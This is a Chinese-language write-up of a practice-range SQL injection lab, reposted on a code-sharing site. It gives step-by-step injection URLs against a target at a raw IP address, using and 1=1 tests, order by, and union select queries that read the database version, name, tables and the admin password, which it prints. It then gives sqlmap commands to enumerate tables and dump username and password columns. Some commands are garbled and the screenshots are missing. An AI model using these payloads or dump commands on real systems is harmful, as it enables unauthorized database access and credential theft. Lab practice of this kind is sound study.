第一次靶場練習:SQL注入(1)


SQL注入1

本文章目的是對相關的黑客內容進一步了解,如有人違反相關的法律法規,本人概不負責

一、學習目的:

  • 利用手工注入網站
  • 利用sqlmab注入

二、附件說明

  • 靶場網址:http://117.41.229.122:8003/?id=1
  • 工具sqlmap下載:https://download.csdn.net/download/qq_41803637/10911556
  • sqlmap使用說明:https://www.cnblogs.com/ichunqiu/p/5805108.html

三、手工注入

1、判斷有無注入點

代碼1

http://117.41.229.122:8003/?id=1 and 1=1

實踐1

回車后導航條,顯示下面的情景,是正常現象,不用管

代碼2

http://117.41.229.122:8003/?id=1 and 1=2

實踐2

 

說明:兩個效果不一樣,說明有注入點

 

2、猜測注入點的數量

代碼

關鍵詞:order by 注入點數量
http://117.41.229.122:8003/?id=1 order by 50

實踐

說明注入點判斷錯誤

 

說明注入點判斷成功

說明:注入點的個數為2

 

3、查詢顯現字段

代碼

 

關鍵字:union select
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,2
說明:
  • 為方便顯示顯現的字段,所以特意設置 and 1-2
  • 前面測出有幾個注入點,就在select后面輸入從1到n的幾個數

 

實踐

說明:顯現字段為2

 

4、查詢數據庫版本

代碼

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,version()
注意:在顯現字段處,寫查詢的事務

實踐

說明:版本為MySQL 5.5.53

 

5、查詢數據庫

代碼

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,database()

實踐

說明:數據庫名為maoshe

 

6、查詢數據表

代碼

http://117.41.229.122:8003/?id=1 and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database() 

實踐

說明:在數據庫maoshe里面有一個數據表admin

 

7、查找密碼

代碼

http://117.41.229.122:8003/?id=1  and 1=2 UNION SELECT 1,password from admin

實踐

說明:密碼為hellohack

 

四、sqlmap注入

 

1、猜解是否能注入

 

win: python sqlmap.py -u "網址?id=1"  【id等於幾可以隨便輸入,但是必須輸入且只能為數字】
Linux : .lmap.py -u "網址?id=7"   【id等於幾可以隨便輸入,但是必須輸入且只能為數字】

 

后面為方便理解,全部以網址放置

 

 

2、猜解表

 

win: python sqlmap.py -u "http://117.41.229.122:8003/?id=1" --tables
Linux: .lmap.py -u "http://117.41.229.122:8003/?id=1" --tables

 

 

3、 根據猜解的表進行猜解表的字段(假如通過2得到了admin這個表)

 

win: python sqlmap.py -u "http://117.41.229.122:8003/?id=1" --columns -T admin
Linux: .lmap.py -u "http://117.41.229.122:8003/?id=1" --columns -T admin

 

 

4、 根據字段猜解內容(假如通過3得到字段為username和password)

 

win: python sqlmap.py -u "http://117.41.229.122:8003/?id=1" --dump -T admin -C "username,password" 
Linux: .lmap.py -u "http://117.41.229.122:8003/?id=1" --dump -T admin -C "username,[url=]B[/url]password" 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM